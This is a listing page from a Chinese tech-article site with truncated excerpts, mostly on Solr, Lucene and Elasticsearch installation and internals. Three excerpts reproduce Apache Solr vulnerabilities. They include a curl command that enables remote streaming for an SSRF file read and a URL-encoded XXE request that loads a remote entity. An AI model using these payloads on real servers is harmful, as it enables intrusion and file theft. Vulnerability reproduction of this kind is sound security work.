ICode9

精准搜索请尝试: 精确搜索
  • PyQt5 GUI && Requests Api 做一个天气查询系统(文末领取完整代码)2021-12-13 22:00:30

    了解之前先来查看一下已经做好的桌面应用的效果,功能实则比较简单,就是通过 pyqt5 做一个桌面应用通过 requests 网路请求关联到开源的天气查询 Api,从而完成整个应用。下面通过录制的简单视频了解一下吧! 全文阅读 写一个函数 init_ui() 用来对应用的 UI 界面进行布局: '''UI界面处理

  • Solr源码分析(7)之Lucene的索引文件(2)2021-12-09 23:30:52

    2021SC@SDUSC 一. Segments_N文件   一个索引对应一个目录,索引文件都存放在目录里面。Solr的索引文件存放在Solr/Home下的core/data/index目录中,一个core对应一个索引。 Segments_N例举了索引所有有效的segments信息以及删除的具体信息,一个索引可以有多个Segments_N,但是

  • solr - 安装ik中文分词 和初始化富文本检索2021-12-09 03:31:57

    1.下载安装包 https://repo1.maven.org/maven2/org/apache/solr/solr-dataimporthandler/7.4.0/solr-dataimporthandler-7.4.0.jar https://repo1.maven.org/maven2/org/apache/tika/tika-app/1.19.1/tika-app-1.19.1.jar https://repo1.maven.org/maven2/org/apache/solr/sol

  • solr -window 安装与启动2021-12-08 19:33:13

    1.下载 官网路径   https://solr.apache.org/downloads.html    为了稳定,我用 5.4.1 版本的 ,   这是下载地址 https://archive.apache.org/dist/lucene/solr/5.4.1/  下载这个    2.安装 直接解压    这个版本有个问题 ,就是  example 目录里面没有  start.jar

  • Your ZK connection string ( hosts) is different from the dynamic ensemble config ( hosts)2021-11-30 18:04:28

    警告信息: Your ZK connection string ( hosts) is different from the dynamic ensemble config ( hosts). Solr does not currently support dynamic reconfiguration and will only be able to connect to the zk hosts in your connection string.   原因: ZooKeeper的v3.5及

  • 用于检索的开源库2021-11-30 17:59:38

    java的开源检索库以lucene为主,lucene是搜索的一个核心组件,负责索引&检索, 更像是sdk 光有sdk去搭建一个真正在线服务的搜索引擎是不行的,基于luece需要自己开发一套服务架构,比如实时索引,数据分发,相关性定制,分布式,等等一序列组件。 因此就衍生出了很多基于lucene的搜索引擎架构,例如

  • Solr+Tomcat单机版的安装与部署2021-11-26 15:33:36

    一、硬件环境 假设有1台机,IP及主机名如下: 192.168.100.105 c1   二、软件环境 1.安装JDK https://www.cnblogs.com/live41/p/14235891.html   2.安装Tomcat https://www.cnblogs.com/live41/p/15598669.html   三、搭建Solr单机版 假定Tomcat和Solr都安装在/home/目录。 Tomc

  • solr查询score机制2021-11-24 19:03:29

      首先,solr使用的是默认的评分机制,要搞明白lucene默认评分机制,需要首先了解一下lucene的查询对象。 1、termquery 2、boolean query 3、rangequery 其中最重要的是termquery。是lucene的最基本的原子查询。每个查询最后内部都转化为一个个的原子查询。 example: TermQuery term =

  • Elasticsearch入门2021-10-27 14:34:03

    简介 Elaticsearch简称为ES,是一个开源的可扩展的分布式的全文检索引擎,它可以近乎实时的存储、检索数据。本身扩展性很好,可扩展到上百台服务器,处理PB级别的数据。ES使用Java开发并使用Lucene作为其核心来实现索引和搜索的功能,但是它通过简单的RestfulAPI和javaAPI来隐藏Lucene的复

  • 搜索引擎 solr2021-10-20 01:03:09

    1 搜索引擎 1.1 搜索引擎的作用 搜索引擎要解决的就是数据库分库分表后的模糊查询功能 实际应用中,要求搜索框的值能去搜ID、名称、介绍、标签,还能将结果聚合显示,这依赖的就是搜索引擎 1.2 搜索引擎的注意事项 搜索引擎中的数据来自于数据库,若该数据也在redis中保存,则修改了数据库

  • solr.Document源码分析2021-10-18 00:00:14

    2021SC@SDUSC /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this

  • Ranger问题2021-09-25 18:01:13

    1、ranger审计日志数据太大 修改Ranger solr日志保留天数 /opt/apps/solr/8.4.1/package/solr-8.4.1/ranger_audit_server/ranger_audits/conf/solrconfig.xml 搜索solr.DefaultValueUpdateProcessorFactory关键词,找到 <strname=“value”>+90DAYS 将90DAYS调小,修改为期望的

  • 【技术分享】 数据治理工具Apache Atlas初体验2021-09-24 22:34:10

    企业在数字化转型中会遇到各业务系统多,建设历程长,数据缺乏统一维护,从而导致数据无法贯通,数据字典缺失等问题。数据流转关系往往保留在业务或技术人员的脑海中,难以充分利用和传承。Apache Atlas就是为解决这些问题而产生的数据治理工具,利用Atlas可以自动构建数据字典,自动生成

  • 三、Solr管理控制台(二)2021-09-13 20:05:56

    索引库相关操作 Overview 索引库的总览,显示集合的信息和分片信息 Analysis 分析器:这个功能可以用来调试字段的分词效果 左边部分是针对索引解析器的处理过程,右边部分是针对查询解析器的处理过程,我们来做一下测试,选择底部的字段或者字段类型,这里我们选择content字段,输入“I love

  • 本地编译Solr源码2021-09-12 13:59:38

    前言 最近在学习solr,需要查看源码,记录一下编译solr源码的整个过程; Solr源码下载地址 https://archive.apache.org/dist/lucene/solr/ 我这里用的是8.8.2版本的如下: 源码编译 相关描述 Lucene和Solr组合代码库,是通过Apache的Ant作为编译系统; Ant是一个基于Java的命令行工具; A

  • 最新蚂蚁花呗三面题目:红黑树+并发容器+CAS+Solr+分布式+大数据2021-09-07 21:03:13

    蚂蚁花呗一面(一个小时): Java容器有哪些?哪些是同步容器,哪些是并发容器?ArrayList和LinkedList的插入和访问的时间复杂度?java反射原理, 注解原理?新生代分为几个区?使用什么算法进行垃圾回收?为什么使用这个算法?HashMap在什么情况下会扩容,或者有哪些操作会导致扩容?HashMap push方法的执

  • ElasticSearch2021-07-31 18:31:47

    ElasticSearch Elaticsearch,简称为es, es是一个开源的高扩展的分布式全文检索引擎,它可以近乎实时的存储、检索数据; 本身扩展性很好,可以扩展到上百台服务器,处理PB级别的数据。 es也使用Java开发并使用Lucene作为其核心来实现所有索引和搜索的功能,但是它的目的是通过简单的REST

  • Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)2021-07-31 09:31:04

    漏洞简介 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。 漏洞复现 默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心: http://your-ip:8983/solr/admin/cores?indexInfo=false

  • Solr全文检索学习笔记·记录2021-07-22 22:32:21

    1. Solr的安装         略。(注意安装jdk) 2. Solr客户端界面介绍  solr-7.7.3目录结构介绍                                  bin:该目录下存放了Solr的工具命令。contrib:该目录下存放了Solr所依赖的第三方JAR包。dist:该目录下存放了Solr本身的JAR包。

  • Solr与Elasticsearch:开源搜索引擎到底如何选择?2021-07-07 09:03:00

    随着互联网行业的发展,搜索引擎已经深入到各行各业,已经是众多内容平台必不可少的功能。在实际业务中,当搜索的速度,性能和高可用性是核心要求时,对TB和PB的数据执行搜索可能会遇到挑战,此时就需要用到分布式全文检索。了解过搜索引擎的应该清楚,目前最热门的两款开源的搜索引擎,Solr和Elas

  • Linux环境安装Solr8.9,采用自带的Jetty启动方式及配置2021-07-06 18:33:49

    1、采用自带的Jetty启动及配置方式 下载安装的方法就省略了,相信你可以搞定… 环境要求: (JDK1.8及以上) 1、下载solr-8.9.0.tgz后将其解压 tar -zxvf solr-8.9.0.tgz 2、到 /solr-8.9.0/server/solr下创建索引核心库: demoCore,然后将 /solr-8.9.0/server/solr/configsets/_def

  • 41分布式电商项目 - Linux 下安装Solr2021-07-06 17:02:24

    安装步骤: 1.安装 Tomcat,解压缩即可。 2.上传solr至Linux服务器,解压 solr。 3.把 solr 下的 dist 目录 solr-4.10.3.war 部署到 Tomcat\webapps 下(去掉版本号)。 4.启动 Tomcat 解压缩 war 包 5.把solr下example/lib/ext 目录下的所有的 jar 包,添加到 solr 的工程中(\WEB-INF\lib

  • Solr集群Replication配置与实践(四)2021-07-06 12:02:08

    Solr作为一个搜索服务器,在并发搜索请求的场景下,可能一台服务器很容易就垮掉,这是我们可以通过使用集群技术,设置多台Solr搜索服务器同时对外提供搜索服务,在前端使用类似Nginx的负载均衡软件,可以通过配置使得并发到达的搜索请求均匀地反向代理到Solr集群中的每一台服务器上,这样每台So

  • 【漏洞复现系列】Apache Solr SSRF文件读取漏洞(附0day POC)2021-07-04 21:34:40

    漏洞详情 Apache Solr <= 8.8.1均受影响,通杀所有版本,官方拒绝修复 通过Solr提供的API可以开启远程开启文件流读取: curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xx.xx.xx.xx:8984/solr/corename/config -H 'Con

  • apache solr XXE复现2021-07-02 09:00:16

    创建漏洞环境   访问8983端口     写好一个dtd文件   发送请求包 GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有